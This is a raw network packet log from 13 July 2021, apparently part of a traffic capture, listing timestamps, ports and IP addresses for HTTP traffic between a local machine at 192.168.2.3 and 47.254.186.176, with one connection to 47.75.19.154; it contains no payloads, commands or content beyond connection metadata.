Jul 13, 2021 14:37:13.061635017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.061681986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.061695099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.061709881 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.061716080 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.061738968 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.061748028 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.062391043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.062413931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.062428951 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.062473059 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.062496901 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.062505007 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.062524080 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.062535048 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.062587976 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.063204050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.063288927 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.063333035 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.063353062 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.063369989 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.063380003 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.063420057 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.063452959 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.063508987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.063522100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.063576937 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.064155102 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064172983 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064182997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064250946 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.064265966 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064316034 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.064424992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064495087 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064507008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064522982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.064548969 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.064573050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.064605951 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065131903 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065150976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065222025 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065223932 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.065241098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065296888 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.065315008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065327883 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065339088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.065366030 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.065383911 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.066222906 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.066239119 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.066250086 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.066265106 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.066303015 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.066354036 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.066417933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.066435099 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.066446066 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.066504955 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.067236900 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.067312956 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.067316055 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.067349911 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.067404032 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.067619085 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.067635059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.067650080 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.067661047 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.067703962 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.067770958 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.068444014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068474054 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068486929 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068525076 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068545103 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.068546057 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068558931 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068571091 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068582058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.068603992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068615913 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.068618059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.068658113 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.068833113 CEST	49711	80	192.168.2.3	47.75.19.154
Jul 13, 2021 14:37:13.069063902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.069109917 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.069118023 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.069122076 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.069179058 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.069266081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.069315910 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.069335938 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.069370985 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.069401979 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.069422960 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.070072889 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.070090055 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.070103884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.070118904 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.070198059 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.070274115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.070348024 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.070358992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.070446014 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.071125984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.071145058 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.071161032 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.071217060 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.071229935 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.071295977 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.071315050 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.071382999 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.071916103 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072031021 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072067976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072088003 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.072277069 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072292089 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072309971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072334051 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.072360039 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072392941 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.072412014 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072455883 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.072804928 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072815895 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.072859049 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.072987080 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.073049068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.073065042 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.073075056 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.073091030 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.073096991 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.073101997 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.073131084 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.073154926 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.073808908 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074088097 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074107885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074136972 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.074139118 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074157000 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074176073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074178934 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.074188948 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074213982 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.074743032 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074759007 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074779034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074779987 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.074815035 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.074831009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074845076 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074911118 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.074913025 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074950933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074965954 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.074997902 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.075797081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.075819969 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.075846910 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.075956106 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.075973988 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.075999975 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.076037884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076078892 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.076116085 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076208115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076225996 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076276064 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.076739073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076759100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076801062 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.076917887 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076946974 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076967001 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.076981068 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.076994896 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077007055 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.077430964 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077451944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077486038 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.077708960 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077728987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077771902 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.077795982 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077824116 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077837944 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.077872992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077898026 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077919006 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.077920914 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.077950001 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.078747034 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.078759909 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.078773022 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.078819036 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.078829050 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.078860998 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.078862906 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.078876019 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.078908920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.079005957 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.079675913 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.079690933 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.079746008 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.079758883 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.079794884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.079802036 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.079874992 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.079890013 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.079920053 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.080496073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080514908 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080528975 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080543995 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080568075 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.080602884 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080636978 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080643892 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.080657005 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080668926 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.080705881 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.081331015 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081345081 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081362009 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081414938 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.081445932 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081460953 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081476927 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081504107 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.081634998 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081646919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.081669092 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.082439899 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.082523108 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.082967043 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083096981 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083148956 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083169937 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.083173037 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083194971 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083209991 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083225012 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.083262920 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.083344936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083412886 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083429098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083450079 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083457947 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.083503008 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.083527088 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083549976 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.083589077 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.084327936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084353924 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084368944 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084389925 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084403038 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.084440947 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.084588051 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084610939 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084631920 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084645987 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.084655046 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.084686041 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.085303068 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.085320950 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.085366964 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.085371017 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.085392952 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.085407972 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.085427999 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.085432053 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.085448980 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.085477114 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.086479902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.086504936 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.086524963 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.086533070 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.086539984 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.086570978 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.086617947 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.086654902 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.086955070 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.086975098 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087040901 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.087359905 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087462902 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087479115 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087500095 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087505102 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.087547064 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087548018 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.087610006 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087624073 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.087656975 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.088321924 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.088349104 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.088365078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.088387012 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.088387966 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.088407040 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.088538885 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.088562012 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.088593960 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.089113951 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089139938 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089160919 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089171886 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.089174986 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089195967 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.089426041 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089445114 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089464903 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089474916 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.089479923 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.089509964 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.090131044 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.090156078 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.090177059 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.090186119 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.090219021 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.090248108 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.090285063 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.090323925 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.090418100 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.091283083 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.091315985 CEST	80	49710	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:13.091337919 CEST	49710	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:13.091337919 CEST	80	49710	47.254.186.176	192.168.2.3
